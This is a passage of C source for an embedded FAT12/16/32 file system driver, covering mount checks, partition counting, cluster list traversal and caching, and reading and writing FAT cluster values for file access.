(FS_NO_SEL == fs_g_nav_fast.u16_entry_pos_sel_file) + { + fs_g_status = FS_ERR_NO_FILE_SEL; + return false; + } + return true; +} + + +//! This function checks if the partition is mounted and no file is opened +//! +//! @return true partition mounted and no file is opened +//! @return false otherwise +//! +Bool fat_check_mount_noopen( void ) +{ + if( !fat_check_mount() ) + return false; + return fat_check_noopen(); +} + + +//! This function checks if the partition is mounted and if no file is opened and a file is selected +//! +//! @return true partition mounted and no file is opened and a file is selected +//! @return false otherwise +//! +Bool fat_check_mount_select_noopen( void ) +{ + if( !fat_check_mount() ) + return false; + if( !fat_check_select() ) + return false; + return fat_check_noopen(); +} + + +//! This function checks if the partition is mounted and if a file is opened +//! +//! @return true partition mounted and a file is opened +//! @return false otherwise +//! +Bool fat_check_mount_select_open( void ) +{ + if( !fat_check_mount() ) + return false; + if( !fat_check_select() ) + return false; + return fat_check_open(); +} + + +//! This function checks if the partition is mounted and if a file is selected +//! +//! @return true partition mounted and a file is selected +//! @return false otherwise +//! +Bool fat_check_mount_select( void ) +{ + if( !fat_check_mount() ) + return false; + return fat_check_select(); +} + + +//! This function checks if the selected file entry is a file and not a directory +//! +//! @return true It is a file and not a directory +//! @return false otherwise +//! +Bool fat_check_is_file( void ) +{ + if( Fat_is_not_a_file ) + { + fs_g_status = FS_ERR_NO_FILE; // It isn't a file, it is a directory or a volume id + return false; + } + return true; +} + + +#if (FS_MULTI_PARTITION == ENABLED) +//! This function returns the number of partition on current drive +//! +//! @return u8_number number of partition +//! +uint8_t fat_get_nbpartition( void ) +{ + if( !fat_check_device() ) + return 0; + +#warning this routine contains bug, rework it + // Read the first sector of drive + fs_gu32_addrsector = 0; + if( !fat_cache_read_sector( true )) + return false; + + // Check PBR or MBR signature + if ( (fs_g_sector[510] != FS_BR_SIGNATURE_LOW ) + && (fs_g_sector[511] != FS_BR_SIGNATURE_HIGH ) ) + { + // No MBR + // The sector, is it a PBR ? + if ( (fs_g_sector[0] == 0xEB) && // PBR Byte 0 + (fs_g_sector[2] == 0x90) && // PBR Byte 2 + ((fs_g_sector[21] & 0xF0) == 0xF0) ) // PBR Byte 21 : Media byte + { + return 1; // No MBR but PBR exist then only one partition + } else { + return 0; // No MBR and no PBR then no partition found + } + } + + number_part = 0; + while( 1 ) + { + // The first sector must be a MBR, then check the partition entry in the MBR + if ( ((fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(number_part)+0] != FS_PARTITION_ACTIVE) && + (fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(number_part)+0] != 0x00)) + || (fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(number_part)+4] == 0x00) ) + { + break; + } + number_part++; + } + return number_part; +} +#endif + + +//! This function gets or clears a cluster list +//! +//! @param b_for_file If true then it is a file cluster list else a directory cluster list
+//! @param opt_action Choose action on the cluster list
+//! FS_CLUST_ACT_SEG Get continue memory segment corresponding at cluster list
+//! FS_CLUST_ACT_ONE Get only one memory sector (512B) corresponding at cluster list
+//! FS_CLUST_ACT_CLR Clear the cluster list
+//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! Global variables used +//! IN : +//! fs_g_seg.u32_addr The first cluster of the cluster list +//! fs_g_seg.u32_size_or_pos Start position in the cluster list (unit 512B) +//! OUT: +//! fs_g_seg.u32_addr The memory segment address corresponding at the beginning of cluster list (only for action FS_CLUST_ACT_SEG & FS_CLUST_ACT_ONE) +//! fs_g_seg.u32_size_or_pos The memory segment size corresponding at cluster list readed or cleared (unit 512B) +//! @endverbatim +//! +Bool fat_cluster_list( uint8_t opt_action, Bool b_for_file ) +{ + _MEM_TYPE_FAST_ uint32_t u32_tmp; + _MEM_TYPE_FAST_ uint8_t u8_cluster_status; + + fs_g_status = FS_ERR_FS; // By default system error + + if( Is_fat32 + && (FS_CLUST_ACT_CLR == opt_action) ) + { +#if (FSFEATURE_WRITE_COMPLET == (FS_LEVEL_FEATURES & FSFEATURE_WRITE_COMPLET) ) + // Clear free space information storage in FAT32 + if( !fat_write_fat32_FSInfo( 0xFFFFFFFF )) + return false; +#else + return false; +#endif + } + + if ( 0 == fs_g_seg.u32_addr ) + { + // Cluster list of root directory + if( FS_CLUST_ACT_CLR == opt_action ) + return false; // Impossible to erase ROOT DIR + + if ( Is_fat12 || Is_fat16 ) + { + // For a FAT 12 & 16, the root dir isn't a cluster list + // Check the position + if ( fs_g_seg.u32_size_or_pos < fs_g_nav.rootdir.seg.u16_size ) + { + // Compute the start address and the size + fs_g_seg.u32_addr = fs_g_nav.u32_ptr_fat + fs_g_nav.rootdir.seg.u16_pos + fs_g_seg.u32_size_or_pos; + fs_g_seg.u32_size_or_pos = fs_g_nav.rootdir.seg.u16_size - fs_g_seg.u32_size_or_pos; + return true; + } else { + fs_g_status = FS_ERR_OUT_LIST; + return false; // Position outside the root area + } + } + if ( Is_fat32 ) + { + // For FAT 32, the root is a cluster list and the first cluster is reading during the mount + fs_g_cluster.u32_pos = fs_g_nav.rootdir.u32_cluster; + } + } else { + // It is the first cluster of a cluster list + fs_g_cluster.u32_pos = fs_g_seg.u32_addr; + } + + // Management of cluster list caches + if( FS_CLUST_ACT_CLR != opt_action ) + { + if( fat_cache_clusterlist_update_read( b_for_file ) ) + return true; // Segment found in cache + // Segment not found & cache ready to update + }else{ + fat_cache_clusterlist_reset(); // It is a clear action then clear cluster list caches +#if (FS_LEVEL_FEATURES > FSFEATURE_READ) + fat_clear_info_fat_mod(); // Init cache on fat modification range +#endif // FS_LEVEL_FEATURES + } + + // Init loop with a start segment no found + MSB0( fs_g_seg.u32_addr ) = 0xFF; + + //**** Loop to read the cluster list + while ( 1 ) + { + if ( fs_g_seg.u32_size_or_pos < fs_g_nav.u8_BPB_SecPerClus ) + { + // The segment starts in this cluster + // Compute the sector address of this cluster + fs_g_seg.u32_addr = ((fs_g_cluster.u32_pos - 2) * fs_g_nav.u8_BPB_SecPerClus) + + fs_g_nav.u32_ptr_fat + fs_g_nav.u32_offset_data + fs_g_seg.u32_size_or_pos; + + if ( FS_CLUST_ACT_ONE == opt_action ) + { + // Compute the maximum size + fs_g_seg.u32_size_or_pos = fs_g_nav.u8_BPB_SecPerClus-fs_g_seg.u32_size_or_pos; + fat_cache_clusterlist_update_finish(); + // Send a size of one sector + fs_g_seg.u32_size_or_pos = 1; + return true; + } + // Update the segment size + fs_g_seg.u32_size_or_pos = fs_g_nav.u8_BPB_SecPerClus - LSB0( fs_g_seg.u32_size_or_pos ); + + // Take time, during read cluster list on FAT 16 & 32 + if( (FS_CLUST_ACT_SEG == opt_action) + && (!Is_fat12) ) + { + // Init loop with the current cluster + u32_tmp = fs_g_cluster.u32_pos; + if( !fat_cluster_val( FS_CLUST_VAL_READ )) + return false; + // Read cluster list, while this one is continue + while(1) + { + if ( (++fs_g_cluster.u32_pos) != fs_g_cluster.u32_val ) + { + fs_g_cluster.u32_pos--; // Recompute previous value + u32_tmp = fs_g_cluster.u32_pos - u32_tmp; // Compute the size of cluster list + fs_g_seg.u32_size_or_pos += u32_tmp * fs_g_nav.u8_BPB_SecPerClus; + break; + } + if( !fat_cluster_readnext() ) + return false; + } + } + } + // Get the cluster value + if( !fat_cluster_val( FS_CLUST_VAL_READ )) + return false; + + // Read and check the status of the new cluster + u8_cluster_status = fat_checkcluster(); + if (FS_CLUS_BAD == u8_cluster_status) + return false; // error, end of cluster list + + if (0xFF == MSB0(fs_g_seg.u32_addr)) + { + // The beginning of the segment isn't found + if (FS_CLUS_END == u8_cluster_status) + { + u32_tmp = fs_g_seg.u32_size_or_pos; // Save number of sector remaining + + // Compute the sector address of this last cluster to take time during a futur request with the same cluster list + fs_g_cache_clusterlist[fs_g_u8_current_cache].u32_start -= fs_g_seg.u32_size_or_pos; + fs_g_seg.u32_addr = ((fs_g_cluster.u32_pos - 2) * fs_g_nav.u8_BPB_SecPerClus) + + fs_g_nav.u32_ptr_fat + fs_g_nav.u32_offset_data; + fs_g_seg.u32_size_or_pos = fs_g_nav.u8_BPB_SecPerClus; + if (FS_CLUST_ACT_CLR != opt_action) + fat_cache_clusterlist_update_finish(); + + // The position is outside the cluster list + fs_g_seg.u32_addr = fs_g_cluster.u32_pos; // Send the last cluster value + fs_g_seg.u32_size_or_pos = u32_tmp; // Restore number of sector remaining + fs_g_status = FS_ERR_OUT_LIST; + return false; + } + // Good cluster then continue + fs_g_seg.u32_size_or_pos -= fs_g_nav.u8_BPB_SecPerClus; +#if (FS_LEVEL_FEATURES > FSFEATURE_READ) + if (FS_CLUST_ACT_CLR == opt_action) + { + if( fs_g_seg.u32_size_or_pos == 0) + { + // At cluster position, set the flag end of cluster list + fs_g_seg.u32_addr = fs_g_cluster.u32_val; // Save the next cluster + fs_g_cluster.u32_val = FS_CLUST_VAL_EOL; + if( !fat_cluster_val( FS_CLUST_VAL_WRITE )) + return false; + fs_g_cluster.u32_val = fs_g_seg.u32_addr; // Resotre the next cluster + // !!!! It isn't necessary to reinit MSB0( fs_g_seg.u32_addr ) to 0xFF, + // !!!! fs_g_seg.u32_addr will be modified at the beginning of main loop + } + } +#endif // FS_LEVEL_FEATURES + } + else + { + // The beginning of segment is found + if (FS_CLUST_ACT_SEG == opt_action) + { + if ( (fs_g_cluster.u32_pos+1) != fs_g_cluster.u32_val ) + { + // The cluster is not a continue cluster or a invalid cluster + fat_cache_clusterlist_update_finish(); + return true; // End of segment + } + } +#if (FS_LEVEL_FEATURES > FSFEATURE_READ) + if (FS_CLUST_ACT_CLR == opt_action) + { + //** Clear cluster position + fs_g_seg.u32_addr = fs_g_cluster.u32_val; // Save the next cluster + fs_g_cluster.u32_val = 0; // by default free cluster + // If it is the first cluster (fs_g_seg.u32_size_or_pos <= fs_g_nav.u8_BPB_SecPerClus) + // and doesn't start at the beginning of cluster (fs_g_seg.u32_size_or_pos != fs_g_nav.u8_BPB_SecPerClus) + if (fs_g_seg.u32_size_or_pos < fs_g_nav.u8_BPB_SecPerClus) + { + fs_g_cluster.u32_val = FS_CLUST_VAL_EOL; // End of cluster list allocated + } + if( !fat_cluster_val( FS_CLUST_VAL_WRITE )) + return false; + fs_g_cluster.u32_val = fs_g_seg.u32_addr; // Resotre the next cluster + // !!!! It isn't necessary to reinit MSB0( fs_g_seg.u32_addr ) at 0xFF, + // !!!! because it isn't possible that MSB0( fs_g_cluster.val ) = 0xFF. + } +#endif // FS_LEVEL_FEATURES + + // Check the end of cluster list + if (FS_CLUS_END == u8_cluster_status) + { +#if (FS_LEVEL_FEATURES > FSFEATURE_READ) + if (FS_CLUST_ACT_CLR == opt_action) + { + return fat_update_fat2(); + } +#endif // FS_LEVEL_FEATURES + fat_cache_clusterlist_update_finish(); + return true; // End of segment + } + + // Update the segment size + fs_g_seg.u32_size_or_pos += fs_g_nav.u8_BPB_SecPerClus; + } + // HERE, Continue to read the cluster list + // The next cluster is the value of previous cluster + fs_g_cluster.u32_pos = fs_g_cluster.u32_val; + } // End of main loop +} + + +//! \name Position of the current cluster in the FAT
+//! Global variable used to take time with routines fat_cluster_readnext() and fat_cluster_val() +_MEM_TYPE_FAST_ uint16_t fs_g_u16_pos_fat; + + +//! This function returns or modifys a cluster value in FAT +//! +//! @param b_mode false, to read a cluster value
+//! true, to write a cluster value +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! Global variables used +//! IN : +//! fs_g_cluster.u32_pos cluster number to read or write +//! fs_g_cluster.u32_val value to write +//! OUT: +//! fs_g_cluster.u32_val value readed +//! fs_g_u16_pos_fat position in FAT of the cluster to read or write +//! value init in case of the fat_cluster_readnext() routine is used after +//! @endverbatim +//! +Bool fat_cluster_val( Bool b_mode ) +{ + _MEM_TYPE_FAST_ uint32_t u32_offset_fat =0; + _MEM_TYPE_FAST_ uint8_t u8_data1, u8_data2,u8_data3,u8_data4; + _MEM_TYPE_FAST_ PTR_CACHE u8_ptr_cluster; + + //**** Compute the cluster position in FAT (sector address & position in sector) + if ( Is_fat32 ) + { + // FAT 32 + // Optimization of -> u32_offset_fat = fs_g_cluster.pos * 4 / FS_CACHE_SIZE; + // Optimization of -> u32_offset_fat = fs_g_cluster.pos / 128 + u32_offset_fat = fs_g_cluster.u32_pos >> (8-1); + + // Optimization of -> fs_g_u16_pos_fat = (fs_g_cluster.u32_pos * 4) % FS_CACHE_SIZE; + // Optimization of -> fs_g_u16_pos_fat = (fs_g_cluster.u32_pos % 128) * 4 + fs_g_u16_pos_fat = ((uint16_t)(LSB0(fs_g_cluster.u32_pos) & 0x7F))<< 2; + } + else if ( Is_fat16 ) + { + // FAT 16 + // Optimization of -> u32_offset_fat = fs_g_cluster.u32_pos * 2 / FS_CACHE_SIZE = fs_g_cluster.u32_pos / 256; + u32_offset_fat = LSB1(fs_g_cluster.u32_pos); + // Optimization of -> fs_g_u16_pos_fat = (fs_g_cluster.u32_pos * 2) % FS_CACHE_SIZE; + // Optimization of -> fs_g_u16_pos_fat = (fs_g_cluster.u32_pos % 256) * 2 + fs_g_u16_pos_fat = ((uint16_t)LSB0(fs_g_cluster.u32_pos)) <<1; + } + else if ( Is_fat12 ) + { + // FAT 12 + // Optimization of -> fs_g_u16_pos_fat = fs_g_cluster.u32_pos + (fs_g_cluster.u32_pos/ 2) + fs_g_u16_pos_fat = (uint16_t)fs_g_cluster.u32_pos + ((uint16_t)fs_g_cluster.u32_pos >>1); + // Optimization of -> u32_offset_fat = fs_g_cluster.u32_pos / FS_CACHE_SIZE + u32_offset_fat = MSB(fs_g_u16_pos_fat) >> 1; + // Optimization of -> fs_g_u16_pos_fat = fs_g_u16_pos_fat % FS_CACHE_SIZE + MSB( fs_g_u16_pos_fat ) &= 0x01; + } + +#if (FS_LEVEL_FEATURES > FSFEATURE_READ) + if (b_mode) + { + // Update information about FAT modification + if( fs_g_u32_first_mod_fat > u32_offset_fat ) + { + fs_g_u32_first_mod_fat = u32_offset_fat; + } + if( fs_g_u32_last_mod_fat < u32_offset_fat ) + { + fs_g_u32_last_mod_fat = u32_offset_fat; + } + if ( Is_fat12 ) + { // A cluster may be stored on two sectors + if( fs_g_u16_pos_fat == (FS_CACHE_SIZE-1) ) + { // Count the next FAT sector + if( fs_g_u32_last_mod_fat < (u32_offset_fat+1) ) + { + fs_g_u32_last_mod_fat = (u32_offset_fat+1); + } + } + } + } +#endif // FS_LEVEL_FEATURES + + //**** Read cluster sector in FAT + fs_gu32_addrsector = fs_g_nav.u32_ptr_fat + u32_offset_fat; // Computed logical sector address + if( !fat_cache_read_sector( true )) + return false; + + // Read cluster information + u8_ptr_cluster = &fs_g_sector[fs_g_u16_pos_fat]; + u8_data1 = u8_ptr_cluster[0]; + // Remark: if (fs_g_u16_pos_fat+1)=512 then it isn't a mistake, because this value will be erase in next lines + u8_data2 = u8_ptr_cluster[1]; + u8_data3 = u8_ptr_cluster[2]; + u8_data4 = u8_ptr_cluster[3]; + + if ( Is_fat12 ) + { // A cluster may be stored on two sectors + if( fs_g_u16_pos_fat == (FS_CACHE_SIZE-1) ) + { // Go to next sector + fs_gu32_addrsector++; + if( !fat_cache_read_sector( true )) + return false; + u8_data2 = fs_g_sector[0]; + } + } + + if (false == b_mode) + { + //**** Read the cluster value + LSB0( fs_g_cluster.u32_val ) = u8_data1; // FAT 12,16,32 + LSB1( fs_g_cluster.u32_val ) = u8_data2; // FAT 12,16,32 + + if ( Is_fat32 ) + { // FAT 32 + LSB2( fs_g_cluster.u32_val ) = u8_data3; + LSB3( fs_g_cluster.u32_val ) = u8_data4 & 0x0F; // The high 4 bits are reserved + } + else + { // FAT 12 & 16 don't use the high bytes + LSB2( fs_g_cluster.u32_val ) = 0; + LSB3( fs_g_cluster.u32_val ) = 0; + + // FAT 12 translate 16bits value to 12bits + if ( Is_fat12 ) + { + if ( 0x01 & LSB0(fs_g_cluster.u32_pos) ) + { // Readed cluster is ODD + LSB0( fs_g_cluster.u32_val ) = (LSB1( fs_g_cluster.u32_val ) <<4 ) + (LSB0( fs_g_cluster.u32_val ) >>4 ); + LSB1( fs_g_cluster.u32_val ) = LSB1( fs_g_cluster.u32_val ) >>4 ; + } + else + { // Readed cluster is EVEN + LSB1( fs_g_cluster.u32_val ) &= 0x0F; + } + } + } + } else { +#if (FS_LEVEL_FEATURES > FSFEATURE_READ) + //**** Write the cluster value + if ( Is_fat12 ) + { + // FAT 12, translate cluster value + if ( 0x01 & LSB0(fs_g_cluster.u32_pos) ) + { // Cluster writing is ODD + u8_data1 = (u8_data1 & 0x0F) + (LSB0( fs_g_cluster.u32_val )<<4); + u8_data2 = (LSB1( fs_g_cluster.u32_val )<<4) + (LSB0( fs_g_cluster.u32_val )>>4) ; + } else { + // Cluster writing is EVEN + u8_data1 = LSB0( fs_g_cluster.u32_val ); + u8_data2 = (u8_data2 & 0xF0) + (LSB1( fs_g_cluster.u32_val ) & 0x0F) ; + } + + // A cluster may be stored on two sectors + if( fs_g_u16_pos_fat == (FS_CACHE_SIZE-1) ) + { + fs_g_sector[0] = u8_data2; + fat_cache_mark_sector_as_dirty(); + // Go to previous sector + fs_gu32_addrsector--; + if( !fat_cache_read_sector( true )) + return false; + // Modify the previous sector + fs_g_sector[ FS_CACHE_SIZE-1 ] = u8_data1; + fat_cache_mark_sector_as_dirty(); + return true; + } + } + else + { + // FAT 16 & 32 + u8_data1 = LSB0( fs_g_cluster.u32_val ); + u8_data2 = LSB1( fs_g_cluster.u32_val ); + if ( Is_fat32 ) + { // FAT 32 + u8_ptr_cluster[2] = LSB2( fs_g_cluster.u32_val ); + u8_ptr_cluster[3] = LSB3( fs_g_cluster.u32_val ) + (u8_data4 & 0xF0); // The high 4 bits are reserved + } + } + // Here for FAT 32, 16 & 12 (only if the cluster values are in the same sector) + u8_ptr_cluster[0] = u8_data1; + u8_ptr_cluster[1] = u8_data2; + fat_cache_mark_sector_as_dirty(); +#else + fs_g_status = FS_ERR_COMMAND; + return false; +#endif // FS_LEVEL_FEATURES + } + + return true; +} + + +//! This function is optimized to read a continue cluster list on FAT16 and FAT32 +//! +//! Read global value "fs_g_status" in case of error : +//! FS_ERR_HW Hardware driver error +//! FS_LUN_WP Drive is read only +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! Global variables used +//! IN : +//! fs_g_u16_pos_fat previous cluster position in FAT +//! OUT: +//! fs_g_u16_pos_fat readed cluster position in FAT +//! fs_g_cluster.u32_val value of cluster readed +//! @endverbatim +//! +Bool fat_cluster_readnext( void ) +{ + // Compute the next cluster position in FAT + if ( Is_fat32 ) + { + fs_g_u16_pos_fat += 4; + }else{ + // Is_fat16 + fs_g_u16_pos_fat += 2; + } + + // Check if next cluster is in internal cache + if( FS_CACHE_SIZE == fs_g_u16_pos_fat ) + { + // Update cache + fs_g_u16_pos_fat = 0; + fs_gu32_addrsector++; + if( !fat_cache_read_sector( true )) + return false; + } + + //**** Read the cluster value + LSB0( fs_g_cluster.u32_val ) = fs_g_sector[fs_g_u16_pos_fat+0]; // FAT 16,32 + LSB1( fs_g_cluster.u32_val ) = fs_g_sector[fs_g_u16_pos_fat+1]; // FAT 16,32 + + if ( Is_fat32 ) + { // FAT 32 + LSB2( fs_g_cluster.u32_val ) = fs_g_sector[fs_g_u16_pos_fat+2]; + LSB3( fs_g_cluster.u32_val ) = fs_g_sector[fs_g_u16_pos_fat+3]; + } + return true; +} + + +//! This function checks the cluster value +//! +//! @return value status
+//! FS_CLUS_OK Value correct
+//! FS_CLUS_BAD Value bad
+//! FS_CLUS_END It is a end of list
+//! +//! @verbatim +//! Global variable used +//! IN : +//! fs_g_cluster.u32_val value to check +//! @endverbatim +//! +uint8_t fat_checkcluster( void ) +{ + if ( !fs_g_cluster.u32_val ) + return FS_CLUS_BAD; + + // Cluster bad if (FAT12 == 0x0FF7) (FAT16 == 0xFFF7) (FAT32 == 0x0FFFFFF7) + // Last cluster if (FAT12 > 0x0FF7) (FAT16 > 0xFFF7) (FAT32 > 0x0FFFFFF7) + if ( Is_fat32 ) + { + if (fs_g_cluster.u32_val >= 0x0FFFFFF8) + return FS_CLUS_END; + else if (fs_g_cluster.u32_val == 0x0FFFFFF7) + return FS_CLUS_BAD; + } + else if ( Is_fat16 ) + { + if (fs_g_cluster.u32_val >= 0xFFF8) + return FS_CLUS_END; + else if (fs_g_cluster.u32_val == 0xFFF7) + return FS_CLUS_BAD; + } + else if ( Is_fat12 ) + { + if (fs_g_cluster.u32_val >= 0xFF8) + return FS_CLUS_END; + else if (fs_g_cluster.u32_val == 0xFF7) + return FS_CLUS_BAD; + } + + return FS_CLUS_OK; +} + +//! \name Internal functions to manage cluster list caches +//! @{ + +//! This function resets the cluster list caches +//! +void fat_cache_clusterlist_reset( void ) +{ + uint8_t u8_i; + fs_g_u8_current_cache=0; + for( u8_i=0; u8_i<(FS_NB_CACHE_CLUSLIST*2); u8_i++ ) + { + // The cache list is splited in two cache (file cluster list and directory cluster list) + fs_g_cache_clusterlist[u8_i].b_cache_file = (u8_i +//! +void fat_cache_clusterlist_update_start( Bool b_for_file ) +{ + // Get the OLD cache (=max level used) + uint8_t u8_i; + for( u8_i=0; u8_i<((FS_NB_CACHE_CLUSLIST*2)-1); u8_i++ ) // (FS_NB_CACHE_CLUSLIST*2)-1, in case of error + { + if( fs_g_cache_clusterlist[u8_i].b_cache_file == b_for_file ) + { +#if (FS_NB_CACHE_CLUSLIST>1) + if( (FS_NB_CACHE_CLUSLIST-2) < fs_g_cache_clusterlist[u8_i].u8_level_use ) +#endif + break; + } + } + fs_g_u8_current_cache = u8_i; + fs_g_cache_clusterlist[fs_g_u8_current_cache].b_cache_file = b_for_file; + fs_g_cache_clusterlist[fs_g_u8_current_cache].u8_lun = 0xFF; // unvalid cache + fs_g_cache_clusterlist[fs_g_u8_current_cache].u32_cluster = fs_g_cluster.u32_pos; + fs_g_cache_clusterlist[fs_g_u8_current_cache].u32_start = fs_g_seg.u32_size_or_pos; +} + + +//! This function updates a cache of cluster list caches +//! +void fat_cache_clusterlist_update_finish( void ) +{ + uint8_t u8_cluster_offset = fs_g_cache_clusterlist[fs_g_u8_current_cache].u32_start % fs_g_nav.u8_BPB_SecPerClus; + fs_g_cache_clusterlist[fs_g_u8_current_cache].u8_lun = fs_g_nav.u8_lun; // valid cache + fs_g_cache_clusterlist[fs_g_u8_current_cache].u32_start -= u8_cluster_offset; + fs_g_cache_clusterlist[fs_g_u8_current_cache].u32_addr = fs_g_seg.u32_addr - u8_cluster_offset; + fs_g_cache_clusterlist[fs_g_u8_current_cache].u32_size = fs_g_seg.u32_size_or_pos + u8_cluster_offset; + + // Update the "level used" of cache + fat_cache_clusterlist_update_select(); +} + + +//! This function signals that a cache is used +//! +void fat_cache_clusterlist_update_select( void ) +{ + uint8_t u8_i; + uint8_t u8_level_to_update; + Bool b_file_cache; + + b_file_cache = fs_g_cache_clusterlist[ fs_g_u8_current_cache ].b_cache_file; + u8_level_to_update = fs_g_cache_clusterlist[ fs_g_u8_current_cache ].u8_level_use; + for( u8_i=0; u8_i<(FS_NB_CACHE_CLUSLIST*2); u8_i++ ) + { + if( fs_g_cache_clusterlist[u8_i].b_cache_file == b_file_cache ) + if( u8_level_to_update > fs_g_cache_clusterlist[u8_i].u8_level_use ) + fs_g_cache_clusterlist[u8_i].u8_level_use++; + } + fs_g_cache_clusterlist[ fs_g_u8_current_cache ].u8_level_use = 0; +} + + +//! This function searchs a cluster list in cluster list caches +//! +//! @param b_for_file If true then it is a file cluster list else a directory cluster list
+//! +//! @return true cluster list found and global variable fs_g_seg updated +//! @return false no found in cluster list caches +//! +Bool fat_cache_clusterlist_update_read( Bool b_for_file ) +{ + uint32_t u32_tmp; + uint8_t u8_i; + for( u8_i=0; u8_i<(FS_NB_CACHE_CLUSLIST*2); u8_i++ ) + { + if( (fs_g_cache_clusterlist[u8_i].b_cache_file == b_for_file) + && (fs_g_cache_clusterlist[u8_i].u8_lun == fs_g_nav.u8_lun ) ) + { + if( fs_g_cache_clusterlist[u8_i].u32_cluster == fs_g_cluster.u32_pos ) + { + if( fs_g_cache_clusterlist[u8_i].u32_start <= fs_g_seg.u32_size_or_pos ) + { + // The segment research is in or after the cache + if( fs_g_cache_clusterlist[u8_i].u32_size > (fs_g_seg.u32_size_or_pos-fs_g_cache_clusterlist[u8_i].u32_start) ) + { + //** The segment research is in cache, then compute the segment infos + fs_g_seg.u32_size_or_pos -= fs_g_cache_clusterlist[u8_i].u32_start; + fs_g_seg.u32_addr = fs_g_cache_clusterlist[u8_i].u32_addr + fs_g_seg.u32_size_or_pos; + fs_g_seg.u32_size_or_pos = fs_g_cache_clusterlist[u8_i].u32_size - fs_g_seg.u32_size_or_pos; + fs_g_u8_current_cache = u8_i; + fat_cache_clusterlist_update_select(); + return true; // the segment is in cluster list cache + }else{ + //** It is after the cache then get cache information and continue to read the cluster list in FAT + // Store the resultat in this cache + fs_g_u8_current_cache = u8_i; + fs_g_cache_clusterlist[fs_g_u8_current_cache].u8_lun = 0xFF; // unvalid cache + // fs_g_cache_clusterlist[fs_g_u8_current_cache].u32_cluster = fs_g_cluster.u32_pos; // It is the same cluster start + + // Get cache information to take time during the next FAT access + // Compute the cluster number corresponding at the last cluster of the cluster list cache + fs_g_cluster.u32_pos = ((fs_g_cache_clusterlist[u8_i].u32_addr -fs_g_nav.u32_ptr_fat - fs_g_nav.u32_offset_data + fs_g_cache_clusterlist[u8_i].u32_size -1) + / fs_g_nav.u8_BPB_SecPerClus) +2; + u32_tmp = fs_g_seg.u32_size_or_pos; // save position ask + // Compute the position of the end of cluster list cache, and decrement the position asked + fs_g_seg.u32_size_or_pos-= ((fs_g_cache_clusterlist[fs_g_u8_current_cache].u32_start + fs_g_cache_clusterlist[u8_i].u32_size -1) + / fs_g_nav.u8_BPB_SecPerClus) + * fs_g_nav.u8_BPB_SecPerClus; + fs_g_cache_clusterlist[fs_g_u8_current_cache].u32_start = u32_tmp; // Update cache with the position asked + return false; // The segment isn't in cluster list cache + } + } + } + } + } + // No found in cache then read FAT and store the resultat in cache + fat_cache_clusterlist_update_start(b_for_file); + return false; +} + +//! @} + + +//! This function gets or clears a cluster list at the current position in the selected file +//! +//! @param mode Choose action
+//! FS_CLUST_ACT_SEG Get memory segment corresponding at the position in selected file
+//! FS_CLUST_ACT_ONE Store in internal cache the sector corresponding at the position in selected file
+//! FS_CLUST_ACT_CLR Clear the cluster list corresponding at the position in selected file
+//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! Global variable used +//! IN : +//! fs_g_nav_entry.u32_cluster First cluster of selected file +//! fs_g_nav_entry.u32_pos_in_file Position in file (unit byte) +//! @endverbatim +//! +Bool fat_read_file( uint8_t mode ) +{ + uint32_t u32_sector_pos; + + // Compute sector position + u32_sector_pos = fs_g_nav_entry.u32_pos_in_file >> FS_512B_SHIFT_BIT; + + if(FS_CLUST_ACT_ONE == mode) + { + if( (fs_g_sectorcache.u8_lun == fs_g_nav.u8_lun ) + && (fs_g_sectorcache.u32_clusterlist_start == fs_g_nav_entry.u32_cluster ) + && (fs_g_sectorcache.u32_clusterlist_pos == u32_sector_pos ) ) + { + return true; // The internal cache contains the sector ascked + } + } + else + { + if( FS_CLUST_ACT_CLR == mode ) + { + // Clear cluster list + if( 0 == fs_g_nav_entry.u32_cluster ) + return true; // No cluster list is linked with the file, then no clear is necessary + + if(0 != (fs_g_nav_entry.u32_pos_in_file & FS_512B_MASK) ) + { + // The actual sector is used, then start clear on the next sector + u32_sector_pos++; + } + } + } + + // Get the segment which start at the current position + fs_g_seg.u32_addr = fs_g_nav_entry.u32_cluster; + fs_g_seg.u32_size_or_pos = u32_sector_pos; + if( FS_CLUST_ACT_ONE != mode ) + { + if( fat_cluster_list( mode, true ) ) + return true; // Get or clear segment OK + } + else + { + if( fat_cluster_list( FS_CLUST_ACT_SEG, true ) ) // Read all segment + { + // Read the sector corresponding at the position file (= first sector of segment) + fs_gu32_addrsector = fs_g_seg.u32_addr ; + if( fat_cache_read_sector( true ) ) + { + fs_g_sectorcache.u32_clusterlist_start = fs_g_nav_entry.u32_cluster; + fs_g_sectorcache.u32_clusterlist_pos = u32_sector_pos; + return true; + } + } + } + if( (FS_CLUST_ACT_CLR == mode ) + && (FS_ERR_OUT_LIST == fs_g_status) ) + { + // It is possible to clear nothing + return true; + } + return false; +} + + +#if (FSFEATURE_WRITE == (FS_LEVEL_FEATURES & FSFEATURE_WRITE)) +//! This function gets and eventually allocs a cluster list at the current position in the selected file +//! +//! @param mode Choose action
+//! FS_CLUST_ACT_SEG Get and eventuelly alloc a cluster list
+//! FS_CLUST_ACT_ONE Get and eventually alloc a cluster list for one sector, and load this sector in internal cache
+//! @param u32_nb_sector_write maximum number of sector to get and eventually to alloc for the selected file (ignored if mode = FS_CLUST_ACT_ONE) +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! Global variable used +//! IN : +//! fs_g_nav_entry.u32_cluster First cluster of selected file +//! fs_g_nav_entry.u32_pos_in_file Position in the file (unit byte) +//! @endverbatim +//! +Bool fat_write_file( uint8_t mode , uint32_t u32_nb_sector_write ) +{ + if( 0 == fs_g_nav_entry.u32_cluster ) + { + // File don't have a cluster list, then alloc the first cluster list of the file + MSB0(fs_g_seg.u32_addr) = 0xFF; // It is a new cluster list + // Update cluster list caches + // fs_g_cluster.u32_pos = ? // To fill after alloc + fs_g_seg.u32_size_or_pos = 0; + fat_cache_clusterlist_update_start(true); + } + else + { + if( fat_read_file( mode ) ) + return true; // A segment is availabled (no alloc necessary) + + if( FS_ERR_OUT_LIST != fs_g_status ) + { + return false; // Error system + } + // fat_read_file is outsize the list then the current cluster list cache contains the last 